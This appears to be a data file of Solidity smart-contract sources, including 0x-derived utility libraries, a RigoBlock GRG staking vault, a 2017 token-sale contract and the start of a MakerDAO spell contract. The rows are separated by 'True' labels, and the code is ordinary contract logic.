INVALID_PARAM_VALUE_ERROR_SELECTOR,
uint8(code)
);
}
function ProxyDestinationCannotBeNilError()
internal
pure
returns (bytes memory)
{
return PROXY_DESTINATION_CANNOT_BE_NIL_ERROR;
}
function PreviousEpochNotFinalizedError(
uint256 unfinalizedEpoch,
uint256 unfinalizedPoolsRemaining
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
PREVIOUS_EPOCH_NOT_FINALIZED_ERROR_SELECTOR,
unfinalizedEpoch,
unfinalizedPoolsRemaining
);
}
function PoolNotFinalizedError(
bytes32 poolId,
uint256 epoch
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
POOL_NOT_FINALIZED_ERROR_SELECTOR,
poolId,
epoch
);
}
}
// File: localhost/utils/0xUtils/IERC20Token.sol
/*
Original work Copyright 2019 ZeroEx Intl.
Modified work Copyright 2020 Rigo Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity >=0.5.9 <0.8.0;
abstract contract IERC20Token {
// solhint-disable no-simple-event-func-name
event Transfer(
address indexed _from,
address indexed _to,
uint256 _value
);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
/// @dev send `value` token to `to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return True if transfer was successful
function transfer(address _to, uint256 _value)
external
virtual
returns (bool);
/// @dev send `value` token to `to` from `from` on the condition it is approved by `from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return True if transfer was successful
function transferFrom(
address _from,
address _to,
uint256 _value
)
external
virtual
returns (bool);
/// @dev `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Always true if the call has enough gas to complete execution
function approve(address _spender, uint256 _value)
external
virtual
returns (bool);
/// @dev Query total supply of token
/// @return Total supply of token
function totalSupply()
external
view
virtual
returns (uint256);
/// @param _owner The address from which the balance will be retrieved
/// @return Balance of owner
function balanceOf(address _owner)
external
view
virtual
returns (uint256);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender)
external
view
virtual
returns (uint256);
}
// File: localhost/utils/0xUtils/IAssetData.sol
/*
Original work Copyright 2019 ZeroEx Intl.
Modified work Copyright 2020 Rigo Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// solhint-disable
pragma solidity >=0.5.4 <0.8.0;
pragma experimental ABIEncoderV2;
// @dev Interface of the asset proxy's assetData.
// The asset proxies take an ABI encoded `bytes assetData` as argument.
// This argument is ABI encoded as one of the methods of this interface.
interface IAssetData {
/// @dev Function signature for encoding ERC20 assetData.
/// @param tokenAddress Address of ERC20Token contract.
function ERC20Token(address tokenAddress)
external;
/// @dev Function signature for encoding ERC721 assetData.
/// @param tokenAddress Address of ERC721 token contract.
/// @param tokenId Id of ERC721 token to be transferred.
function ERC721Token(
address tokenAddress,
uint256 tokenId
)
external;
/// @dev Function signature for encoding ERC1155 assetData.
/// @param tokenAddress Address of ERC1155 token contract.
/// @param tokenIds Array of ids of tokens to be transferred.
/// @param values Array of values that correspond to each token id to be transferred.
/// Note that each value will be multiplied by the amount being filled in the order before transferring.
/// @param callbackData Extra data to be passed to receiver's `onERC1155Received` callback function.
function ERC1155Assets(
address tokenAddress,
uint256[] calldata tokenIds,
uint256[] calldata values,
bytes calldata callbackData
)
external;
/// @dev Function signature for encoding MultiAsset assetData.
/// @param values Array of amounts that correspond to each asset to be transferred.
/// Note that each value will be multiplied by the amount being filled in the order before transferring.
/// @param nestedAssetData Array of assetData fields that will be be dispatched to their correspnding AssetProxy contract.
function MultiAsset(
uint256[] calldata values,
bytes[] calldata nestedAssetData
)
external;
/// @dev Function signature for encoding StaticCall assetData.
/// @param staticCallTargetAddress Address that will execute the staticcall.
/// @param staticCallData Data that will be executed via staticcall on the staticCallTargetAddress.
/// @param expectedReturnDataHash Keccak-256 hash of the expected staticcall return data.
function StaticCall(
address staticCallTargetAddress,
bytes calldata staticCallData,
bytes32 expectedReturnDataHash
)
external;
/// @dev Function signature for encoding ERC20Bridge assetData.
/// @param tokenAddress Address of token to transfer.
/// @param bridgeAddress Address of the bridge contract.
/// @param bridgeData Arbitrary data to be passed to the bridge contract.
function ERC20Bridge(
address tokenAddress,
address bridgeAddress,
bytes calldata bridgeData
)
external;
}
// File: localhost/utils/0xUtils/IAssetProxy.sol
/*
Original work Copyright 2019 ZeroEx Intl.
Modified work Copyright 2020 Rigo Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity >=0.5.4 <0.8.0;
abstract contract IAssetProxy {
/// @dev Transfers assets. Either succeeds or throws.
/// @param assetData Byte array encoded for the respective asset proxy.
/// @param from Address to transfer asset from.
/// @param to Address to transfer asset to.
/// @param amount Amount of asset to transfer.
function transferFrom(
bytes calldata assetData,
address from,
address to,
uint256 amount
)
external
virtual;
/// @dev Gets the proxy id associated with the proxy address.
/// @return Proxy id.
function getProxyId()
external
pure
virtual
returns (bytes4);
}
// File: localhost/utils/0xUtils/LibSafeMathRichErrors.sol
pragma solidity >=0.5.4 <0.8.0;
library LibSafeMathRichErrors {
// bytes4(keccak256("Uint256BinOpError(uint8,uint256,uint256)"))
bytes4 internal constant UINT256_BINOP_ERROR_SELECTOR =
0xe946c1bb;
// bytes4(keccak256("Uint256DowncastError(uint8,uint256)"))
bytes4 internal constant UINT256_DOWNCAST_ERROR_SELECTOR =
0xc996af7b;
enum BinOpErrorCodes {
ADDITION_OVERFLOW,
MULTIPLICATION_OVERFLOW,
SUBTRACTION_UNDERFLOW,
DIVISION_BY_ZERO
}
enum DowncastErrorCodes {
VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT32,
VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT64,
VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT96
}
// solhint-disable func-name-mixedcase
function Uint256BinOpError(
BinOpErrorCodes errorCode,
uint256 a,
uint256 b
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
UINT256_BINOP_ERROR_SELECTOR,
errorCode,
a,
b
);
}
function Uint256DowncastError(
DowncastErrorCodes errorCode,
uint256 a
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
UINT256_DOWNCAST_ERROR_SELECTOR,
errorCode,
a
);
}
}
// File: localhost/utils/0xUtils/LibSafeMath.sol
pragma solidity >=0.5.9 <0.8.0;
library LibSafeMath {
function safeMul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
if (c / a != b) {
LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError(
LibSafeMathRichErrors.BinOpErrorCodes.MULTIPLICATION_OVERFLOW,
a,
b
));
}
return c;
}
function safeDiv(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (b == 0) {
LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError(
LibSafeMathRichErrors.BinOpErrorCodes.DIVISION_BY_ZERO,
a,
b
));
}
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (b > a) {
LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError(
LibSafeMathRichErrors.BinOpErrorCodes.SUBTRACTION_UNDERFLOW,
a,
b
));
}
return a - b;
}
function safeAdd(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
if (c < a) {
LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError(
LibSafeMathRichErrors.BinOpErrorCodes.ADDITION_OVERFLOW,
a,
b
));
}
return c;
}
function max256(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
}
// File: localhost/utils/0xUtils/LibOwnableRichErrors.sol
pragma solidity >=0.5.9 <0.8.0;
library LibOwnableRichErrors {
// bytes4(keccak256("OnlyOwnerError(address,address)"))
bytes4 internal constant ONLY_OWNER_ERROR_SELECTOR =
0x1de45ad1;
// bytes4(keccak256("TransferOwnerToZeroError()"))
bytes internal constant TRANSFER_OWNER_TO_ZERO_ERROR_BYTES =
hex"e69edc3e";
// solhint-disable func-name-mixedcase
function OnlyOwnerError(
address sender,
address owner
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
ONLY_OWNER_ERROR_SELECTOR,
sender,
owner
);
}
function TransferOwnerToZeroError()
internal
pure
returns (bytes memory)
{
return TRANSFER_OWNER_TO_ZERO_ERROR_BYTES;
}
}
// File: localhost/utils/0xUtils/interfaces/IOwnable.sol
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity >=0.5.9 <0.8.0;
abstract contract IOwnable {
/// @dev Emitted by Ownable when ownership is transferred.
/// @param previousOwner The previous owner of the contract.
/// @param newOwner The new owner of the contract.
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @dev Transfers ownership of the contract to a new address.
/// @param newOwner The address that will become the owner.
function transferOwnership(address newOwner)
public
virtual;
}
// File: localhost/utils/0xUtils/Ownable.sol
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity >=0.5.9 <0.8.0;
contract Ownable is
IOwnable
{
/// @dev The owner of this contract.
/// @return 0 The owner address.
address public owner;
constructor ()
{
owner = msg.sender;
}
modifier onlyOwner() {
_assertSenderIsOwner();
_;
}
/// @dev Change the owner of this contract.
/// @param newOwner New owner address.
function transferOwnership(address newOwner)
public
override
onlyOwner
{
if (newOwner == address(0)) {
LibRichErrors.rrevert(LibOwnableRichErrors.TransferOwnerToZeroError());
} else {
owner = newOwner;
emit OwnershipTransferred(msg.sender, newOwner);
}
}
function _assertSenderIsOwner()
internal
view
{
if (msg.sender != owner) {
LibRichErrors.rrevert(LibOwnableRichErrors.OnlyOwnerError(
msg.sender,
owner
));
}
}
}
// File: localhost/utils/0xUtils/LibRichErrors.sol
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity >=0.5.9 <0.8.0;
library LibRichErrors {
// bytes4(keccak256("Error(string)"))
bytes4 internal constant STANDARD_ERROR_SELECTOR =
0x08c379a0;
// solhint-disable func-name-mixedcase
/// @dev ABI encode a standard, string revert error payload.
/// This is the same payload that would be included by a `revert(string)`
/// solidity statement. It has the function signature `Error(string)`.
/// @param message The error string.
/// @return The ABI encoded error.
function StandardError(
string memory message
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
STANDARD_ERROR_SELECTOR,
bytes(message)
);
}
// solhint-enable func-name-mixedcase
/// @dev Reverts an encoded rich revert reason `errorData`.
/// @param errorData ABI encoded error data.
function rrevert(bytes memory errorData)
internal
pure
{
assembly {
revert(add(errorData, 0x20), mload(errorData))
}
}
}
// File: localhost/utils/0xUtils/LibAuthorizableRichErrors.sol
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity >=0.5.9 <0.8.0;
library LibAuthorizableRichErrors {
// bytes4(keccak256("AuthorizedAddressMismatchError(address,address)"))
bytes4 internal constant AUTHORIZED_ADDRESS_MISMATCH_ERROR_SELECTOR =
0x140a84db;
// bytes4(keccak256("IndexOutOfBoundsError(uint256,uint256)"))
bytes4 internal constant INDEX_OUT_OF_BOUNDS_ERROR_SELECTOR =
0xe9f83771;
// bytes4(keccak256("SenderNotAuthorizedError(address)"))
bytes4 internal constant SENDER_NOT_AUTHORIZED_ERROR_SELECTOR =
0xb65a25b9;
// bytes4(keccak256("TargetAlreadyAuthorizedError(address)"))
bytes4 internal constant TARGET_ALREADY_AUTHORIZED_ERROR_SELECTOR =
0xde16f1a0;
// bytes4(keccak256("TargetNotAuthorizedError(address)"))
bytes4 internal constant TARGET_NOT_AUTHORIZED_ERROR_SELECTOR =
0xeb5108a2;
// bytes4(keccak256("ZeroCantBeAuthorizedError()"))
bytes internal constant ZERO_CANT_BE_AUTHORIZED_ERROR_BYTES =
hex"57654fe4";
// solhint-disable func-name-mixedcase
function AuthorizedAddressMismatchError(
address authorized,
address target
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
AUTHORIZED_ADDRESS_MISMATCH_ERROR_SELECTOR,
authorized,
target
);
}
function IndexOutOfBoundsError(
uint256 index,
uint256 length
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
INDEX_OUT_OF_BOUNDS_ERROR_SELECTOR,
index,
length
);
}
function SenderNotAuthorizedError(address sender)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
SENDER_NOT_AUTHORIZED_ERROR_SELECTOR,
sender
);
}
function TargetAlreadyAuthorizedError(address target)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
TARGET_ALREADY_AUTHORIZED_ERROR_SELECTOR,
target
);
}
function TargetNotAuthorizedError(address target)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
TARGET_NOT_AUTHORIZED_ERROR_SELECTOR,
target
);
}
function ZeroCantBeAuthorizedError()
internal
pure
returns (bytes memory)
{
return ZERO_CANT_BE_AUTHORIZED_ERROR_BYTES;
}
}
// File: localhost/utils/0xUtils/interfaces/IAuthorizable.sol
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity >=0.5.9 <0.8.0;
abstract contract IAuthorizable is
IOwnable
{
// Event logged when a new address is authorized.
event AuthorizedAddressAdded(
address indexed target,
address indexed caller
);
// Event logged when a currently authorized address is unauthorized.
event AuthorizedAddressRemoved(
address indexed target,
address indexed caller
);
/// @dev Authorizes an address.
/// @param target Address to authorize.
function addAuthorizedAddress(address target)
external
virtual;
/// @dev Removes authorizion of an address.
/// @param target Address to remove authorization from.
function removeAuthorizedAddress(address target)
external
virtual;
/// @dev Removes authorizion of an address.
/// @param target Address to remove authorization from.
/// @param index Index of target in authorities array.
function removeAuthorizedAddressAtIndex(
address target,
uint256 index
)
external
virtual;
/// @dev Gets all authorized addresses.
/// @return Array of authorized addresses.
function getAuthorizedAddresses()
external
view
virtual
returns (address[] memory);
}
// File: localhost/utils/0xUtils/Authorizable.sol
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity >=0.5.9 <0.8.0;
// solhint-disable no-empty-blocks
contract Authorizable is
Ownable,
IAuthorizable
{
/// @dev Only authorized addresses can invoke functions with this modifier.
modifier onlyAuthorized {
_assertSenderIsAuthorized();
_;
}
/// @dev Whether an address is authorized to call privileged functions.
/// @dev 0 Address to query.
/// @return 0 Whether the address is authorized.
mapping (address => bool) public authorized;
/// @dev Whether an adderss is authorized to call privileged functions.
/// @dev 0 Index of authorized address.
/// @return 0 Authorized address.
address[] public authorities;
/// @dev Initializes the `owner` address.
constructor()
Ownable()
{}
/// @dev Authorizes an address.
/// @param target Address to authorize.
function addAuthorizedAddress(address target)
external
override
onlyOwner
{
_addAuthorizedAddress(target);
}
/// @dev Removes authorizion of an address.
/// @param target Address to remove authorization from.
function removeAuthorizedAddress(address target)
external
override
onlyOwner
{
if (!authorized[target]) {
LibRichErrors.rrevert(LibAuthorizableRichErrors.TargetNotAuthorizedError(target));
}
for (uint256 i = 0; i < authorities.length; i++) {
if (authorities[i] == target) {
_removeAuthorizedAddressAtIndex(target, i);
break;
}
}
}
/// @dev Removes authorizion of an address.
/// @param target Address to remove authorization from.
/// @param index Index of target in authorities array.
function removeAuthorizedAddressAtIndex(
address target,
uint256 index
)
external
override
onlyOwner
{
_removeAuthorizedAddressAtIndex(target, index);
}
/// @dev Gets all authorized addresses.
/// @return Array of authorized addresses.
function getAuthorizedAddresses()
external
view
override
returns (address[] memory)
{
return authorities;
}
/// @dev Reverts if msg.sender is not authorized.
function _assertSenderIsAuthorized()
internal
view
{
if (!authorized[msg.sender]) {
LibRichErrors.rrevert(LibAuthorizableRichErrors.SenderNotAuthorizedError(msg.sender));
}
}
/// @dev Authorizes an address.
/// @param target Address to authorize.
function _addAuthorizedAddress(address target)
internal
{
// Ensure that the target is not the zero address.
if (target == address(0)) {
LibRichErrors.rrevert(LibAuthorizableRichErrors.ZeroCantBeAuthorizedError());
}
// Ensure that the target is not already authorized.
if (authorized[target]) {
LibRichErrors.rrevert(LibAuthorizableRichErrors.TargetAlreadyAuthorizedError(target));
}
authorized[target] = true;
authorities.push(target);
emit AuthorizedAddressAdded(target, msg.sender);
}
/// @dev Removes authorization of an address.
/// @param target Address to remove authorization from.
/// @param index Index of target in authorities array.
function _removeAuthorizedAddressAtIndex(
address target,
uint256 index
)
internal
{
if (!authorized[target]) {
LibRichErrors.rrevert(LibAuthorizableRichErrors.TargetNotAuthorizedError(target));
}
if (index >= authorities.length) {
LibRichErrors.rrevert(LibAuthorizableRichErrors.IndexOutOfBoundsError(
index,
authorities.length
));
}
if (authorities[index] != target) {
LibRichErrors.rrevert(LibAuthorizableRichErrors.AuthorizedAddressMismatchError(
authorities[index],
target
));
}
delete authorized[target];
authorities[index] = authorities[authorities.length - 1];
authorities.pop();
emit AuthorizedAddressRemoved(target, msg.sender);
}
}
// File: localhost/staking/GrgVault.sol
/*
Original work Copyright 2019 ZeroEx Intl.
Modified work Copyright 2020 Rigo Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.7.4;
contract GrgVault is
Authorizable,
IGrgVault
{
using LibSafeMath for uint256;
// Address of staking proxy contract
address public stakingProxyAddress;
// True iff vault has been set to Catastrophic Failure Mode
bool public isInCatastrophicFailure;
// Mapping from staker to GRG balance
mapping (address => uint256) internal _balances;
// Grg Asset Proxy
IAssetProxy public grgAssetProxy;
// Grg Token
IERC20Token internal _grgToken;
// Asset data for the ERC20 Proxy
bytes internal _grgAssetData;
/// @dev Only stakingProxy can call this function.
modifier onlyStakingProxy() {
_assertSenderIsStakingProxy();
_;
}
/// @dev Function can only be called in catastrophic failure mode.
modifier onlyInCatastrophicFailure() {
_assertInCatastrophicFailure();
_;
}
/// @dev Function can only be called not in catastropic failure mode
modifier onlyNotInCatastrophicFailure() {
_assertNotInCatastrophicFailure();
_;
}
/// @dev Constructor.
/// @param _grgProxyAddress Address of the RigoBlock Grg Proxy.
/// @param _grgTokenAddress Address of the Grg Token.
constructor(
address _grgProxyAddress,
address _grgTokenAddress
)
Authorizable()
{
grgAssetProxy = IAssetProxy(_grgProxyAddress);
_grgToken = IERC20Token(_grgTokenAddress);
_grgAssetData = abi.encodeWithSelector(
IAssetData(address(0)).ERC20Token.selector,
_grgTokenAddress
);
}
/// @dev Sets the address of the StakingProxy contract.
/// Note that only the contract owner can call this function.
/// @param _stakingProxyAddress Address of Staking proxy contract.
function setStakingProxy(address _stakingProxyAddress)
external
override
onlyAuthorized
{
stakingProxyAddress = _stakingProxyAddress;
emit StakingProxySet(_stakingProxyAddress);
}
/// @dev Vault enters into Catastrophic Failure Mode.
/// *** WARNING - ONCE IN CATOSTROPHIC FAILURE MODE, YOU CAN NEVER GO BACK! ***
/// Note that only the contract owner can call this function.
function enterCatastrophicFailure()
external
override
onlyAuthorized
onlyNotInCatastrophicFailure
{
isInCatastrophicFailure = true;
emit InCatastrophicFailureMode(msg.sender);
}
/// @dev Sets the Grg proxy.
/// Note that only an authorized address can call this function.
/// Note that this can only be called when *not* in Catastrophic Failure mode.
/// @param _grgProxyAddress Address of the RigoBlock Grg Proxy.
function setGrgProxy(address _grgProxyAddress)
external
override
onlyAuthorized
onlyNotInCatastrophicFailure
{
grgAssetProxy = IAssetProxy(_grgProxyAddress);
emit GrgProxySet(_grgProxyAddress);
}
/// @dev Deposit an `amount` of Grg Tokens from `staker` into the vault.
/// Note that only the Staking contract can call this.
/// Note that this can only be called when *not* in Catastrophic Failure mode.
/// @param staker of Grg Tokens.
/// @param amount of Grg Tokens to deposit.
function depositFrom(address staker, uint256 amount)
external
override
onlyStakingProxy
onlyNotInCatastrophicFailure
{
// update balance
_balances[staker] = _balances[staker].safeAdd(amount);
// notify
emit Deposit(staker, amount);
// deposit GRG from staker
grgAssetProxy.transferFrom(
_grgAssetData,
staker,
address(this),
amount
);
}
/// @dev Withdraw an `amount` of Grg Tokens to `staker` from the vault.
/// Note that only the Staking contract can call this.
/// Note that this can only be called when *not* in Catastrophic Failure mode.
/// @param staker of Grg Tokens.
/// @param amount of Grg Tokens to withdraw.
function withdrawFrom(address staker, uint256 amount)
external
override
onlyStakingProxy
onlyNotInCatastrophicFailure
{
_withdrawFrom(staker, amount);
}
/// @dev Withdraw ALL Grg Tokens to `staker` from the vault.
/// Note that this can only be called when *in* Catastrophic Failure mode.
/// @param staker of Grg Tokens.
function withdrawAllFrom(address staker)
external
override
onlyInCatastrophicFailure
returns (uint256)
{
// get total balance
uint256 totalBalance = _balances[staker];
// withdraw GRG to staker
_withdrawFrom(staker, totalBalance);
return totalBalance;
}
/// @dev Returns the balance in Grg Tokens of the `staker`
/// @return Balance in Grg.
function balanceOf(address staker)
external
view
override
returns (uint256)
{
return _balances[staker];
}
/// @dev Returns the entire balance of Grg tokens in the vault.
function balanceOfGrgVault()
external
view
override
returns (uint256)
{
return _grgToken.balanceOf(address(this));
}
/// @dev Withdraw an `amount` of Grg Tokens to `staker` from the vault.
/// @param staker of Grg Tokens.
/// @param amount of Grg Tokens to withdraw.
function _withdrawFrom(address staker, uint256 amount)
internal
{
// update balance
// note that this call will revert if trying to withdraw more
// than the current balance
_balances[staker] = _balances[staker].safeSub(amount);
// notify
emit Withdraw(staker, amount);
// withdraw GRG to staker
_grgToken.transfer(
staker,
amount
);
}
/// @dev Asserts that sender is stakingProxy contract.
function _assertSenderIsStakingProxy()
private
view
{
if (msg.sender != stakingProxyAddress) {
LibRichErrors.rrevert(LibStakingRichErrors.OnlyCallableByStakingContractError(
msg.sender
));
}
}
/// @dev Asserts that vault is in catastrophic failure mode.
function _assertInCatastrophicFailure()
private
view
{
if (!isInCatastrophicFailure) {
LibRichErrors.rrevert(LibStakingRichErrors.OnlyCallableIfInCatastrophicFailureError());
}
}
/// @dev Asserts that vault is not in catastrophic failure mode.
function _assertNotInCatastrophicFailure()
private
view
{
if (isInCatastrophicFailure) {
LibRichErrors.rrevert(LibStakingRichErrors.OnlyCallableIfNotInCatastrophicFailureError());
}
}
} | True | [
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// Copyright New Alchemy Limited, 2017. All rights reserved.
pragma solidity >=0.4.10;
contract Token {
function balanceOf(address addr) returns(uint);
function transfer(address to, uint amount) returns(bool);
}
contract Sale {
address public owner; // contract owner
address public newOwner; // new contract owner for two-way ownership handshake
string public notice; // arbitrary public notice text
uint public start; // start time of sale
uint public end; // end time of sale
uint public cap; // Ether hard cap
bool public live; // sale is live right now
event StartSale();
event EndSale();
event EtherIn(address from, uint amount);
function Sale() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function () payable {
require(block.timestamp >= start);
if (block.timestamp > end || this.balance > cap) {
require(live);
live = false;
EndSale();
} else if (!live) {
live = true;
StartSale();
}
EtherIn(msg.sender, msg.value);
}
function init(uint _start, uint _end, uint _cap) onlyOwner {
start = _start;
end = _end;
cap = _cap;
}
function softCap(uint _newend) onlyOwner {
require(_newend >= block.timestamp && _newend >= start && _newend <= end);
end = _newend;
}
function changeOwner(address next) onlyOwner {
newOwner = next;
}
function acceptOwnership() {
require(msg.sender == newOwner);
owner = msg.sender;
newOwner = 0;
}
function setNotice(string note) onlyOwner {
notice = note;
}
function withdraw() onlyOwner {
msg.sender.transfer(this.balance);
}
function withdrawSome(uint value) onlyOwner {
require(value <= this.balance);
msg.sender.transfer(value);
}
function withdrawToken(address token) onlyOwner {
Token t = Token(token);
require(t.transfer(msg.sender, t.balanceOf(this)));
}
function refundToken(address token, address sender, uint amount) onlyOwner {
Token t = Token(token);
require(t.transfer(sender, amount));
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-03-03
*/
// Copyright (C) 2020 Maker Ecosystem Growth Holdings, INC.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.5.12;
// https://github.com/dapphub/ds-pause
contract DSPauseAbstract {
function delay() public view returns (uint256);
function plot(address, bytes32, bytes memory, uint256) public;
function exec(address, bytes32, bytes memory, uint256) public returns (bytes memory);
}
// https://github.com/makerdao/dss/blob/master/src/pot.sol
contract PotAbstract {
function file(bytes32, uint256) external;
function drip() external returns (uint256);
}
// https://github.com/makerdao/dss/blob/master/src/jug.sol
contract JugAbstract {
function file(bytes32, bytes32, uint256) external;
function drip(bytes32) external returns (uint256);
}
// https://github.com/makerdao/dss/blob/master/src/vat.sol
contract VatAbstract {
function ilks(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256);
function file(bytes32, uint256) external;
function file(bytes32, bytes32, uint256) external;
}
// https://github.com/makerdao/dss/blob/master/src/flip.sol
contract FlipAbstract {
function file(bytes32, uint256) external;
function wards(address) external view returns (uint256);
}
// https://github.com/makerdao/flipper-mom/blob/master/src/FlipperMom.sol
contract FlipperMomAbstract {
function rely(address) external;
function deny(address) external;
}
// https://github.com/makerdao/ilk-registry/blob/master/src/IlkRegistry.sol
contract IlkRegistryAbstract {
function list() external view returns (bytes32[] memory);
function flip(bytes32) external view returns (address);
}
// https://github.com/makerdao/dss-chain-log/blob/master/src/ChainLog.sol
contract ChainlogAbstract {
function getAddress(bytes32) public view returns (address);
}
contract SpellAction {
// This address should correspond to the latest MCD Chainlog contract; verify
// against the current release list at:
// https://changelog.makerdao.com/releases/mainnet/active/contracts.json
ChainlogAbstract constant CHANGELOG =
ChainlogAbstract(0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F);
// Many of the settings that change weekly rely on the rate accumulator
// described at https://docs.makerdao.com/smart-contract-modules/rates-module
// To check this yourself, use the following rate calculation (example 8%):
//
// $ bc -l <<< 'scale=27; e( l(1.08)/(60 * 60 * 24 * 365) )'
//
uint256 constant ZERO_PCT_RATE = 1000000000000000000000000000;
// Common orders of magnitude needed in spells
//
uint256 constant WAD = 10**18;
uint256 constant RAY = 10**27;
